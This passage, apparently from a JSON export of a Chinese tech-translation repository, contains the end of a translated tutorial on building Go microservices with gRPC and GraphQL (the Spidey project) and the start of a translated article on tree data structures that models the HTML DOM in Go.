{}\n}\n```\n\n由于这个包被设置为了 `pb`，于是生成的代码可以从 `pb` 子包导入使用。\n\ngRPC 的代码可以使用 Go 的 `generate` 指令配合 [account/server.go](https://github.com/tinrab/spidey/blob/master/account/server.go) 文件最上方的注释进行编译生成：\n\n[account/server.go](https://github.com/tinrab/spidey/blob/master/account/server.go)\n\n```go\n//go:generate protoc ./account.proto --go_out=plugins=grpc:./pb\npackage account\n```\n\n运行下面的命令就可以将代码生成到 `pb` 子目录：\n\n```bash\n$ go generate account/server.go\n```\n\n服务端作为 `Service` 服务接口的适配器，对应转换了请求和返回的类型。\n\n```go\ntype grpcServer struct {\n  service Service\n}\n\nfunc ListenGRPC(s Service, port int) error {\n  lis, err := net.Listen(\"tcp\", fmt.Sprintf(\":%d\", port))\n  if err != nil {\n    return err\n  }\n  serv := grpc.NewServer()\n  pb.RegisterAccountServiceServer(serv, &grpcServer{s})\n  reflection.Register(serv)\n  return serv.Serve(lis)\n}\n```\n\n下面是 `PostAccount` 函数的实现：\n\n```go\nfunc (s *grpcServer) PostAccount(ctx context.Context, r *pb.PostAccountRequest) (*pb.PostAccountResponse, error) {\n  a, err := s.service.PostAccount(ctx, r.Name)\n  if err != nil {\n    return nil, err\n  }\n  return &pb.PostAccountResponse{Account: &pb.Account{\n    Id:   a.ID,\n    Name: a.Name,\n  }}, nil\n}\n```\n\n### 用法\n\ngRPC 服务端在 [account/cmd/account/main.go](https://github.com/tinrab/spidey/blob/master/account/cmd/account/main.go) 文件中进行初始化：\n\n```go\ntype Config struct {\n  DatabaseURL string `envconfig:\"DATABASE_URL\"`\n}\n\nfunc main() {\n  var cfg Config\n  err := envconfig.Process(\"\", &cfg)\n  if err != nil {\n    log.Fatal(err)\n  }\n\n  var r account.Repository\n  retry.ForeverSleep(2*time.Second, func(_ int) (err error) {\n    r, err = account.NewPostgresRepository(cfg.DatabaseURL)\n    if err != nil {\n      log.Println(err)\n    }\n    return\n  })\n  defer r.Close()\n\n  log.Println(\"Listening on port 8080...\")\n  s := account.NewService(r)\n  log.Fatal(account.ListenGRPC(s, 8080))\n}\n```\n\n客户端结构体的实现位于 [account/client.go](https://github.com/tinrab/spidey/blob/master/account/client.go) 文件中。这样账户服务就可以在无需了解 RPC 内部实现的情况下进行实现，我们之后再来详细讨论。\n\n```go\naccount, err := accountClient.GetAccount(ctx, accountId)\nif err != nil {\n  log.Fatal(err)\n}\n```\n\n## 目录服务\n\n目录服务负责处理 Spidey 商店的商品。它实现了类似于账户服务的功能，但是使用了 Elasticsearch 对商品进行持久化。\n\n### 服务\n\n目录服务遵循下面的接口：\n\n[catalog/service.go](https://github.com/tinrab/spidey/blob/master/catalog/service.go)\n\n```go\ntype Service interface {\n  PostProduct(ctx context.Context, name, description string, price float64) (*Product, error)\n  GetProduct(ctx context.Context, id string) (*Product, error)\n  GetProducts(ctx context.Context, skip uint64, take uint64) ([]Product, error)\n  GetProductsByIDs(ctx context.Context, ids []string) ([]Product, error)\n  SearchProducts(ctx context.Context, query string, skip uint64, take uint64) ([]Product, error)\n}\n\ntype Product struct {\n  ID          string  `json:\"id\"`\n  Name        string  `json:\"name\"`\n  Description string  `json:\"description\"`\n  Price       float64 `json:\"price\"`\n}\n```\n\n### 数据库\n\n Repository 基于 Elasticsearch [olivere/elastic](https://github.com/olivere/elastic) 包进行实现。\n\n[catalog/repository.go](https://github.com/tinrab/spidey/blob/master/catalog/repository.go)\n\n```go\ntype Repository interface {\n  Close()\n  PutProduct(ctx context.Context, p Product) error\n  GetProductByID(ctx context.Context, id string) (*Product, error)\n  ListProducts(ctx context.Context, skip uint64, take uint64) ([]Product, error)\n  ListProductsWithIDs(ctx context.Context, ids []string) ([]Product, error)\n  SearchProducts(ctx context.Context, query string, skip uint64, take uint64) ([]Product, error)\n}\n```\n\n由于 Elasticsearch 将文档和 ID 分开存储，因此实现的一个商品的辅助结构没有包含 ID：\n\n```go\ntype productDocument struct {\n  Name        string  `json:\"name\"`\n  Description string  `json:\"description\"`\n  Price       float64 `json:\"price\"`\n}\n```\n\n将商品插入到数据库中：\n\n```go\nfunc (r *elasticRepository) PutProduct(ctx context.Context, p Product) error {\n  _, err := r.client.Index().\n    Index(\"catalog\").\n    Type(\"product\").\n    Id(p.ID).\n    BodyJson(productDocument{\n      Name:        p.Name,\n      Description: p.Description,\n      Price:       p.Price,\n    }).\n    Do(ctx)\n  return err\n}\n```\n\n### gRPC\n\n目录服务的 gRPC 服务定义在 [catalog/catalog.proto](https://github.com/tinrab/spidey/blob/master/catalog/catalog.proto) 文件中，并在 [catalog/server.go](https://github.com/tinrab/spidey/blob/master/catalog/server.go) 中进行实现。与账户服务不同的是，它没有在服务接口中定义所有的 endpoint。\n\n[catalog/catalog.proto](https://github.com/tinrab/spidey/blob/master/catalog/catalog.proto)\n\n```protobuf\nsyntax = \"proto3\";\npackage pb;\n\nmessage Product {\n  string id = 1;\n  string name = 2;\n  string description = 3;\n  double price = 4;\n}\n\nmessage PostProductRequest {\n  string name = 1;\n  string description = 2;\n  double price = 3;\n}\n\nmessage PostProductResponse {\n  Product product = 1;\n}\n\nmessage GetProductRequest {\n  string id = 1;\n}\n\nmessage GetProductResponse {\n  Product product = 1;\n}\n\nmessage GetProductsRequest {\n  uint64 skip = 1;\n  uint64 take = 2;\n  repeated string ids = 3;\n  string query = 4;\n}\n\nmessage GetProductsResponse {\n  repeated Product products = 1;\n}\n\nservice CatalogService {\n  rpc PostProduct (PostProductRequest) returns (PostProductResponse) {}\n  rpc GetProduct (GetProductRequest) returns (GetProductResponse) {}\n  rpc GetProducts (GetProductsRequest) returns (GetProductsResponse) {}\n}\n```\n\n尽管 `GetProductRequest` 消息包含了额外的字段，但通过 ID 的搜索与索引实现。\n\n下面的代码展示了 `GetProducts` 函数的实现：\n\n[catalog/server.go](https://github.com/tinrab/spidey/blob/master/catalog/server.go)\n\n```go\nfunc (s *grpcServer) GetProducts(ctx context.Context, r *pb.GetProductsRequest) (*pb.GetProductsResponse, error) {\n  var res []Product\n  var err error\n  if r.Query != \"\" {\n    res, err = s.service.SearchProducts(ctx, r.Query, r.Skip, r.Take)\n  } else if len(r.Ids) != 0 {\n    res, err = s.service.GetProductsByIDs(ctx, r.Ids)\n  } else {\n    res, err = s.service.GetProducts(ctx, r.Skip, r.Take)\n  }\n  if err != nil {\n    log.Println(err)\n    return nil, err\n  }\n\n  products := []*pb.Product{}\n  for _, p := range res {\n    products = append(\n      products,\n      &pb.Product{\n        Id:          p.ID,\n        Name:        p.Name,\n        Description: p.Description,\n        Price:       p.Price,\n      },\n    )\n  }\n  return &pb.GetProductsResponse{Products: products}, nil\n}\n```\n\n它决定了当给定何种参数来调用何种服务函数。其目标是模拟 REST HTTP 的 endpoint。\n\n对于 `/products?[ids=...]&[query=...]&skip=0&take=100` 形式的请求，只有设计一个 endpoint 来完成 API 调用会相对容易一些。\n\n## Order 服务\n\nOrder 订单服务就比较棘手了。他需要调用账户和目录服务来验证请求，因为一个订单只能给一个特定的账号和一个存在的商品进行创建。\n\n### Service\n\n`Service` 接口定义了通过账户创建和索引全部订单的接口。\n\n[order/service.go](https://github.com/tinrab/spidey/blob/master/order/service.go)\n\n```go\ntype Service interface {\n  PostOrder(ctx context.Context, accountID string, products []OrderedProduct) (*Order, error)\n  GetOrdersForAccount(ctx context.Context, accountID string) ([]Order, error)\n}\n\ntype Order struct {\n  ID         string\n  CreatedAt  time.Time\n  TotalPrice float64\n  AccountID  string\n  Products   []OrderedProduct\n}\n\ntype OrderedProduct struct {\n  ID          string\n  Name        string\n  Description string\n  Price       float64\n  Quantity    uint32\n}\n```\n\n### 数据库\n\n一个订单可以包含多个商品，因此数据模型必须支持这种形式。下面的 `order_products` 表描述了 ID 为 `product_id` 的订购产品以及此类产品的数量。而  `product_id` 字段必须可以从目录服务进行检索。\n\n[order/up.sql](https://github.com/tinrab/spidey/blob/master/order/up.sql)\n\n```sql\nCREATE TABLE IF NOT EXISTS orders (\n  id CHAR(27) PRIMARY KEY,\n  created_at TIMESTAMP WITH TIME ZONE NOT NULL,\n  account_id CHAR(27) NOT NULL,\n  total_price MONEY NOT NULL\n);\n\nCREATE TABLE IF NOT EXISTS order_products (\n  order_id CHAR(27) REFERENCES orders (id) ON DELETE CASCADE,\n  product_id CHAR(27),\n  quantity INT NOT NULL,\n  PRIMARY KEY (product_id, order_id)\n);\n```\n\n`Repository` 接口很简单：\n\n[order/repository.go](https://github.com/tinrab/spidey/blob/master/order/repository.go)\n\n```go\ntype Repository interface {\n  Close()\n  PutOrder(ctx context.Context, o Order) error\n  GetOrdersForAccount(ctx context.Context, accountID string) ([]Order, error)\n}\n```\n\n但实现它却并不简单。\n\n一个订单必须使用事务机制分两步插入，然后通过 join 语句进行查询。\n\n从数据库中读取订单需要解析一个表状结构数据读取到对象结构中。下面的代码基于订单 ID 将商品读取到订单中：\n\n```go\norders := []Order{}\norder := &Order{}\nlastOrder := &Order{}\norderedProduct := &OrderedProduct{}\nproducts := []OrderedProduct{}\n\n// 将每行读取到 Order 结构体\nfor rows.Next() {\n  if err = rows.Scan(\n    &order.ID,\n    &order.CreatedAt,\n    &order.AccountID,\n    &order.TotalPrice,\n    &orderedProduct.ID,\n    &orderedProduct.Quantity,\n  ); err != nil {\n    return nil, err\n  }\n  // 读取订单\n  if lastOrder.ID != \"\" && lastOrder.ID != order.ID {\n    newOrder := Order{\n      ID:         lastOrder.ID,\n      AccountID:  lastOrder.AccountID,\n      CreatedAt:  lastOrder.CreatedAt,\n      TotalPrice: lastOrder.TotalPrice,\n      Products:   products,\n    }\n    orders = append(orders, newOrder)\n    products = []OrderedProduct{}\n  }\n  // 读取商品\n  products = append(products, OrderedProduct{\n    ID:       orderedProduct.ID,\n    Quantity: orderedProduct.Quantity,\n  })\n\n  *lastOrder = *order\n}\n\n// 添加最后一个订单 (或者第一个 :D)\nif lastOrder != nil {\n  newOrder := Order{\n    ID:         lastOrder.ID,\n    AccountID:  lastOrder.AccountID,\n    CreatedAt:  lastOrder.CreatedAt,\n    TotalPrice: lastOrder.TotalPrice,\n    Products:   products,\n  }\n  orders = append(orders, newOrder)\n}\n```\n\n### gRPC\n\nOrder 服务的 gRPC 服务端需要在实现时与账户和目录服务建立联系。\n\nProtocol Buffers 定义如下：\n\n[order/order.proto](https://github.com/tinrab/spidey/blob/master/order/order.proto)\n\n```protobuf\nsyntax = \"proto3\";\npackage pb;\n\nmessage Order {\n  message OrderProduct {\n    string id = 1;\n    string name = 2;\n    string description = 3;\n    double price = 4;\n    uint32 quantity = 5;\n  }\n\n  string id = 1;\n  bytes createdAt = 2;\n  string accountId = 3;\n  double totalPrice = 4;\n  repeated OrderProduct products = 5;\n}\n\nmessage PostOrderRequest {\n  message OrderProduct {\n    string productId = 2;\n    uint32 quantity = 3;\n  }\n\n  string accountId = 2;\n  repeated OrderProduct products = 4;\n}\n\nmessage PostOrderResponse {\n  Order order = 1;\n}\n\nmessage GetOrderRequest {\n  string id = 1;\n}\n\nmessage GetOrderResponse {\n  Order order = 1;\n}\n\nmessage GetOrdersForAccountRequest {\n  string accountId = 1;\n}\n\nmessage GetOrdersForAccountResponse {\n  repeated Order orders = 1;\n}\n\nservice OrderService {\n  rpc PostOrder (PostOrderRequest) returns (PostOrderResponse) {}\n  rpc GetOrdersForAccount (GetOrdersForAccountRequest) returns (GetOrdersForAccountResponse) {}\n}\n```\n\n运行订单服务需要传递其他服务的 URL：\n\n[order/server.go](https://github.com/tinrab/spidey/blob/master/order/server.go)\n\n```go\ntype grpcServer struct {\n  service       Service\n  accountClient *account.Client\n  catalogClient *catalog.Client\n}\n\nfunc ListenGRPC(s Service, accountURL, catalogURL string, port int) error {\n  accountClient, err := account.NewClient(accountURL)\n  if err != nil {\n    return err\n  }\n\n  catalogClient, err := catalog.NewClient(catalogURL)\n  if err != nil {\n    accountClient.Close()\n    return err\n  }\n\n  lis, err := net.Listen(\"tcp\", fmt.Sprintf(\":%d\", port))\n  if err != nil {\n    accountClient.Close()\n    catalogClient.Close()\n    return err\n  }\n\n  serv := grpc.NewServer()\n  pb.RegisterOrderServiceServer(serv, &grpcServer{\n    s,\n    accountClient,\n    catalogClient,\n  })\n  reflection.Register(serv)\n\n  return serv.Serve(lis)\n}\n```\n\n创建订单涉及调用帐户服务、检查帐户是否存在、然后对产品执行相同操作。计算总价时还需要读取产品价格。你不会希望用户能传入自己的商品的总价。\n\n```go\nfunc (s *grpcServer) PostOrder(\n  ctx context.Context,\n  r *pb.PostOrderRequest,\n) (*pb.PostOrderResponse, error) {\n  // 检查账户是否存在\n  _, err := s.accountClient.GetAccount(ctx, r.AccountId)\n  if err != nil {\n    log.Println(err)\n    return nil, err\n  }\n\n  // 获取订单商品\n  productIDs := []string{}\n  for _, p := range r.Products {\n    productIDs = append(productIDs, p.ProductId)\n  }\n  orderedProducts, err := s.catalogClient.GetProducts(ctx, 0, 0, productIDs, \"\")\n  if err != nil {\n    log.Println(err)\n    return nil, err\n  }\n\n  // 构造商品\n  products := []OrderedProduct{}\n  for _, p := range orderedProducts {\n    product := OrderedProduct{\n      ID:          p.ID,\n      Quantity:    0,\n      Price:       p.Price,\n      Name:        p.Name,\n      Description: p.Description,\n    }\n    for _, rp := range r.Products {\n      if rp.ProductId == p.ID {\n        product.Quantity = rp.Quantity\n        break\n      }\n    }\n\n    if product.Quantity != 0 {\n      products = append(products, product)\n    }\n  }\n\n  // 调用服务实现\n  order, err := s.service.PostOrder(ctx, r.AccountId, products)\n  if err != nil {\n    log.Println(err)\n    return nil, err\n  }\n\n  // 创建订单响应\n  orderProto := &pb.Order{\n    Id:         order.ID,\n    AccountId:  order.AccountID,\n    TotalPrice: order.TotalPrice,\n    Products:   []*pb.Order_OrderProduct{},\n  }\n  orderProto.CreatedAt, _ = order.CreatedAt.MarshalBinary()\n  for _, p := range order.Products {\n    orderProto.Products = append(orderProto.Products, &pb.Order_OrderProduct{\n      Id:          p.ID,\n      Name:        p.Name,\n      Description: p.Description,\n      Price:       p.Price,\n      Quantity:    p.Quantity,\n    })\n  }\n  return &pb.PostOrderResponse{\n    Order: orderProto,\n  }, nil\n}\n```\n\n当请求特定账户的订单时，由于需要产品的详情，因此调用目录服务是有必要的。\n\n## GraphQL 服务\n\nGraphQL schema 的定义在 [graphql/schema.graphql](https://github.com/tinrab/spidey/blob/master/graphql/schema.graphql) 文件中：\n\n```graphql\nscalar Time\n\ntype Account {\n  id: String!\n  name: String!\n  orders: [Order!]!\n}\n\ntype Product {\n  id: String!\n  name: String!\n  description: String!\n  price: Float!\n}\n\ntype Order {\n  id: String!\n  createdAt: Time!\n  totalPrice: Float!\n  products: [OrderedProduct!]!\n}\n\ntype OrderedProduct {\n  id: String!\n  name: String!\n  description: String!\n  price: Float!\n  quantity: Int!\n}\n\ninput PaginationInput {\n  skip: Int\n  take: Int\n}\n\ninput AccountInput {\n  name: String!\n}\n\ninput ProductInput {\n  name: String!\n  description: String!\n  price: Float!\n}\n\ninput OrderProductInput {\n  id: String!\n  quantity: Int!\n}\n\ninput OrderInput {\n  accountId: String!\n  products: [OrderProductInput!]!\n}\n\ntype Mutation {\n  createAccount(account: AccountInput!): Account\n  createProduct(product: ProductInput!): Product\n  createOrder(order: OrderInput!): Order\n}\n\ntype Query {\n  accounts(pagination: PaginationInput, id: String): [Account!]!\n  products(pagination: PaginationInput, query: String, id: String): [Product!]!\n}\n```\n\n`gqlgen` 工具会生成一堆类型，但是还需要对 `Order` 模型进行一些控制，在 [graphql/types.json](https://github.com/tinrab/spidey/blob/master/graphql/types.json) 文件中进行制定，从而不会自动生成模型：\n\n```json\n{\n  \"Order\": \"github.com/tinrab/spidey/graphql/graph.Order\"\n}\n```\n\n现在可以手动实现 `Order` 结构了：\n\n[graphql/graph/models.go](https://github.com/tinrab/spidey/blob/master/graphql/graph/models.go)\n\n```go\npackage graph\n\nimport time \"time\"\n\ntype Order struct {\n  ID         string           `json:\"id\"`\n  CreatedAt  time.Time        `json:\"createdAt\"`\n  TotalPrice float64          `json:\"totalPrice\"`\n  Products   []OrderedProduct `json:\"products\"`\n}\n```\n\n生成类型的指令在 [graphql/graph/graph.go](https://github.com/tinrab/spidey/blob/master/graphql/graph/graph.go) 顶部：\n\n```go\n//go:generate gqlgen -schema ../schema.graphql -typemap ../types.json\npackage graph\n```\n\n通过下面的命令运行：\n\n```bash\n$ go generate ./graphql/graph/graph.go\n```\n\nGraphQL 服务端引用了所有其他服务。\n\n[graphql/graph/graph.go](https://github.com/tinrab/spidey/blob/master/graphql/graph/graph.go)\n\n```go\ntype GraphQLServer struct {\n  accountClient *account.Client\n  catalogClient *catalog.Client\n  orderClient   *order.Client\n}\n\nfunc NewGraphQLServer(accountUrl, catalogURL, orderURL string) (*GraphQLServer, error) {\n  // 连接账户服务\n  accountClient, err := account.NewClient(accountUrl)\n  if err != nil {\n    return nil, err\n  }\n\n  // 连接目录服务\n  catalogClient, err := catalog.NewClient(catalogURL)\n  if err != nil {\n    accountClient.Close()\n    return nil, err\n  }\n\n  // 连接订单服务\n  orderClient, err := order.NewClient(orderURL)\n  if err != nil {\n    accountClient.Close()\n    catalogClient.Close()\n    return nil, err\n  }\n\n  return &GraphQLServer{\n    accountClient,\n    catalogClient,\n    orderClient,\n  }, nil\n}\n```\n\n`GraphQLServer` 结构体需要实现所有生成的 resolver。修改（Mutation）可以在 [graphql/graph/mutations.go](https://github.com/tinrab/spidey/blob/master/graphql/graph/mutations.go) 中找到，查询（Query）则可以在 [graphql/graph/queries.go](https://github.com/tinrab/spidey/blob/master/graphql/graph/queries.go) 中找到。\n\n修改操作通过调用相关服务客户端传入参数进行实现：\n\n```go\nfunc (s *GraphQLServer) Mutation_createAccount(ctx context.Context, in AccountInput) (*Account, error) {\n  ctx, cancel := context.WithTimeout(ctx, 3*time.Second)\n  defer cancel()\n\n  a, err := s.accountClient.PostAccount(ctx, in.Name)\n  if err != nil {\n    log.Println(err)\n    return nil, err\n  }\n\n  return &Account{\n    ID:   a.ID,\n    Name: a.Name,\n  }, nil\n}\n```\n\n查询能够互相嵌套。在 Spidey 中，查询账户还可以查询其订单，见 `Account_orders` 函数。\n\n```go\nfunc (s *GraphQLServer) Query_accounts(ctx context.Context, pagination *PaginationInput, id *string) ([]Account, error) {\n  // 会被首先调用\n  // ...\n}\n\nfunc (s *GraphQLServer) Account_orders(ctx context.Context, obj *Account) ([]Order, error) {\n  // 然后执行这个函数，返回 \"obj\" 账户的订单\n  // ...\n}\n```\n\n## 总结\n\n执行下面的命令就可以运行 Spidey：\n\n```bash\n$ vgo vendor\n$ docker-compose up -d --build\n```\n\n然后你就可以在浏览器中访问 [http://localhost:8000/playground](http://localhost:8000/playground) 来使用 GraphQL 工具创建一个账户了：\n\n```graphql\nmutation {\n  createAccount(account: {name: \"John\"}) {\n    id\n    name\n  }\n}\n```\n\n返回结果为：\n\n```json\n{\n  \"data\": {\n    \"createAccount\": {\n      \"id\": \"15t4u0du7t6vm9SRa4m3PrtREHb\",\n      \"name\": \"John\"\n    }\n  }\n}\n```\n\n然后可以创建一些产品：\n\n```graphql\nmutation {\n  a: createProduct(product: {name: \"Kindle Oasis\", description: \"Kindle Oasis is the first waterproof Kindle with our largest 7-inch 300 ppi display, now with Audible when paired with Bluetooth.\", price: 300}) { id },\n  b: createProduct(product: {name: \"Samsung Galaxy S9\", description: \"Discover Galaxy S9 and S9+ and the revolutionary camera that adapts like the human eye.\", price: 720}) { id },\n  c: createProduct(product: {name: \"Sony PlayStation 4\", description: \"The PlayStation 4 is an eighth-generation home video game console developed by Sony Interactive Entertainment\", price: 300}) { id },\n  d: createProduct(product: {name: \"ASUS ZenBook Pro UX550VE\", description: \"Designed to entice. Crafted to perform.\", price: 300}) { id },\n  e: createProduct(product: {name: \"Mpow PC Headset 3.5mm\", description: \"Computer Headset with Microphone Noise Cancelling, Lightweight PC Headset Wired Headphones, Business Headset for Skype, Webinar, Phone, Call Center\", price: 43}) { id }\n}\n```\n\n注意返回的 ID 值：\n\n```json\n{\n  \"data\": {\n    \"a\": {\n      \"id\": \"15t7jjANR47uODEPUIy1od5APnC\"\n    },\n    \"b\": {\n      \"id\": \"15t7jsTyrvs1m4EYu7TCes1EN5z\"\n    },\n    \"c\": {\n      \"id\": \"15t7jrfDhZKgxOdIcEtTUsriAsY\"\n    },\n    \"d\": {\n      \"id\": \"15t7jpKt4VkJ5iHbwt4rB5xR77w\"\n    },\n    \"e\": {\n      \"id\": \"15t7jsYs0YzK3B7drQuf1mX5Dyg\"\n    }\n  }\n}\n```\n\n然后发起一些订单：\n\n```graphql\nmutation {\n  createOrder(order: { accountId: \"15t4u0du7t6vm9SRa4m3PrtREHb\", products: [\n    { id: \"15t7jjANR47uODEPUIy1od5APnC\", quantity: 2 },\n    { id: \"15t7jpKt4VkJ5iHbwt4rB5xR77w\", quantity: 1 },\n    { id: \"15t7jrfDhZKgxOdIcEtTUsriAsY\", quantity: 5 }\n  ]}) {\n    id\n    createdAt\n    totalPrice\n  }\n}\n```\n\n根据返回结果检查返回的费用：\n\n```json\n{\n  \"data\": {\n    \"createOrder\": {\n      \"id\": \"15t8B6lkg80ZINTASts92nBzyE8\",\n      \"createdAt\": \"2018-06-11T21:18:18Z\",\n      \"totalPrice\": 2400\n    }\n  }\n}\n```\n\n完整代码请查看 [GitHub](https://github.com/tinrab/spidey)。\n\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/golang-datastructures-trees.md",
    "content": "> * 原文地址：[Golang Datastructures: Trees](https://ieftimov.com/golang-datastructures-trees)\n> * 原文作者：[Ilija Eftimov](https://ieftimov.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/golang-datastructures-trees.md](https://github.com/xitu/gold-miner/blob/master/TODO1/golang-datastructures-trees.md)\n> * 译者：[steinliber](https://github.com/steinliber)\n> * 校对者：[Endone](https://github.com/Endone)，[LeoooY](https://github.com/LeoooY)\n\n# Golang 数据结构：树\n\n在你编程生涯的大部分时间中你都不用接触到树这个数据结构，或者即使并不理解这个结构，你也可以轻易地避开使用它们（这就是我过去一直在做的事）。\n\n现在，不要误会我的意思 —— 数组，列表，栈和队列都是非常强大的数据结构，可以帮你在带你在编程之路上走的很远，但是它们无法解决所有的问题，且不论如何去使用它们以及效率如何。当你把哈希表放入这个组合中时，你就可以解决相当多的问题，但是对于许多问题而言，如果你能掌握了树结构，那它将是一个强大的（或许也是唯一的）工具。\n\n那么让我们来看看树结构，然后我们可以通过一个小练习来学习如何使用它们。\n\n## 一点理论\n\n数组，列表，队列，栈把数据储存在有头和尾的集合中，因此它们被称作“线性结构”。但是当涉及到树和图这种数据结构时，这就会变得让人困惑，因为数据并不是以线性方式储存到结构中的。\n\n树被称作非线性结构。实际上，你也可以说树是一种层级数据结构因为它的数据是以分层的方式储存的。\n\n为了你阅读的乐趣，下面是维基百科对树结构的定义：\n\n> 树是由节点（或顶点）和边组成不包含任何环的数据结构。没有节点的树被称为空树。一颗非空的树是由一个根节点和可能由多个层级的附加节点形成的层级结构组成。\n\n这个定义所要表示的意思就是树只是节点（或者顶点）和边（或者节点之间的连接）的集合，它不包含任何循环。\n\n![](https://ieftimov.com/img/posts/golang-datastructures-trees/invalid-tree.png)\n\n比如说，图中表示的数据结构就是节点的组合，依次从 A 到 F 命名，有六条边。虽然它的所有元素都使它们看起来像是构造了一棵树，但节点 A，D，F 都有一个循环，因此这个数据结构并不是树。\n\n如果我们打断节点 F 和 E 之间的边并且增加一个节点 G，把 G 和 F 用边连起来，我们会得到像下图这样的结构：\n\n![](https://ieftimov.com/img/posts/golang-datastructures-trees/valid-tree.png)\n\n现在，因为我们消除了在图中的循环，可以说我们现在有了一个有效的树结构。它有一个称作 A 的**根部节点**，一共有 7 个**节点**。节点 A 有 3 个**子节点**（B，D 和 F）以及这些节点下一层的节点（分别为 C，E 和 G）。因此，节点 A 有 6 个**子孙节点**。此外，这个树有 3 个叶节点（C，E 和 G）或者把它们叫做没有子节点的节点。\n\nB，D 和 F 节点有什么共同之处？因为它们有同一个父节点（节点 A）所以它们是**兄弟节点**。它们都位于第一层因为其中的每一个要到达根节点都只需要一步。例如，节点 G 位于第二层，因为从 G 到 A 的**路径**为：G -> F -> A，我们需要走两条边来才能到达节点 A。\n\n现在我们已经了解了树的一点理论，让我们来看看如何用树来解决一些问题。\n\n## 为 HTML 文档建模\n\n如果你是一个从没写过任何 HTML 的软件开发者， 我会假设你已经看到过（或者知道）HTML 是什么样子的。如果你还是不知道，那么我建议你右键单击当前正在阅读的页面，然后单击“查看源代码”就可以看到。\n\n说真的，去看看吧，我会在这等着的。。。\n\n浏览器有个内置的东西，叫做 DOM —— 一个跨平台且语言独立的应用程序编程接口，它会将这些 网络文档视为一个树结构，其中的每个节点都是表示文档其中一部分的对象。这意味着当浏览器读取你文档中的 HTML 代码时它将会加载这个文档并基于此创建一个 DOM。\n\n所以，让我们短暂的设想一下，我们是 Chrome 或者 Firefox 浏览器的开发者，我们需要来为 DOM 建模。好吧，为了让这个练习更简单点，让我们来看一个小的 HTML 文档：\n\n```\n<html>\n  <h1>Hello, World!</h1>\n  <p>This is a simple HTML document.</p>\n</html>\n```\n\n所以，如果我们把这个文档建模成一个树结构，它看起将会是这样：\n\n![](https://ieftimov.com/img/posts/golang-datastructures-trees/html-document-tree.png)\n\n现在，我们可以把文本节点视为单独的`Node`，但是简单起见，我们可以假设任何 HTML 元素都可以包含文本。\n\n`html`节点将会有两个子节点，`h1` 和 `p` 节点，这些节点包含字段 `tag`，`text` 和 `children` 。让我们把这些放到代码里：\n\n```\ntype Node struct {\n    tag      string\n    text     string\n    children []*Node\n}\n```\n\n一个 `Node` 将只有标签名和子节点可选。让我们通过上面看到的 `Node` 树来亲手尝试创建这个 HTML 文档：\n\n```\nfunc main() {\n        p := Node{\n                tag:  \"p\",\n                text: \"This is a simple HTML document.\",\n                id:   \"foo\",\n        }\n\n        h1 := Node{\n                tag:  \"h1\",\n                text: \"Hello, World!\",\n        }\n\n        html := Node{\n                tag:      \"html\",\n                children: []*Node{&p, &h1},\n        }\n}\n```\n\n这看起来还可以，我们建立了一个基础的树结构并且运行了。\n\n## 构建 MyDOM - DOM 的直接替代😂\n\n现在我们已经有了一些树结构，让我们退一步来看看 DOM 有哪些功能。比如说，如果在真实环境中用 MyDOM（TM）替代 DOM，那么我们应该可以使用 JavaScript 访问其中的节点并修改它们。\n\n使用 JavaScript 执行这个操作的最简单方法是使用如下代码\n\n```\ndocument.getElementById('foo')\n```\n\n这个函数将会在 `document` 树中查找以 `foo` 作为 ID 的节点。让我们更新我们的 `Node` 结构来获得更多的功能，然后为我们的树结构编写一个查询函数：\n\n```\ntype Node struct {\n  tag      string\n  id       string\n  class    string\n  children []*Node\n}\n```\n\n现在，我们的每个 `Node` 结构将会有 `tag`，`children`，它是指向该 `Node` 子节点的指针切片，`id` 表示在该 DOM 节点中的 ID，`class` 指的是可应用于该 DOM 节点的类。\n\n现在回到我们之前的 `getElementById` 查询函数。来如何去实现它。首先，让我们构造一个可用于测试我们查询算法的树结构：\n\n```\n<html>\n  <body>\n    <h1>This is a H1</h1>\n    <p>\n      And this is some text in a paragraph. And next to it there's an image.\n      <img src=\"http://example.com/logo.svg\" alt=\"Example's Logo\"/>\n    </p>\n    <div class='footer'>\n      This is the footer of the page.\n      <span id='copyright'>2019 &copy; Ilija Eftimov</span>\n    </div>\n  </body>\n</html>\n```\n\n这是一个非常复杂的 HTML 文档。让我们使用 `Node` 作为 Go 语言中的结构来表示其结构：\n\n```\nimage := Node{\n        tag: \"img\",\n        src: \"http://example.com/logo.svg\",\n        alt: \"Example's Logo\",\n}\n\np := Node{\n        tag:      \"p\",\n        text:     \"And this is some text in a paragraph. And next to it there's an image.\",\n        children: []*Node{&image},\n}\n\nspan := Node{\n        tag:  \"span\",\n        id:   \"copyright\",\n        text: \"2019 &copy; Ilija Eftimov\",\n}\n\ndiv := Node{\n        tag:      \"div\",\n        class:    \"footer\",\n        text:     \"This is the footer of the page.\",\n        children: []*Node{&span},\n}\n\nh1 := Node{\n        tag:  \"h1\",\n        text: \"This is a H1\",\n}\n\nbody := Node{\n        tag:      \"body\",\n        children: []*Node{&h1, &p, &div},\n}\n\nhtml := Node{\n        tag:      \"html\",\n        children: []*Node{&body},\n}\n```\n\n我们开始自下而上构建这个树结构。这意味着从嵌套最深的结构起来构建这个结构，一直到 `body` 和 `html` 节点。让我们来看一下这个树结构的图形：\n\n![](https://ieftimov.com/img/posts/golang-datastructures-trees/mydom-tree.png)\n\n## 实现节点查询🔎\n\n让我们来继续实现我们的目标 —— 让 JavaScript 可以在我们的 `document` 中调用 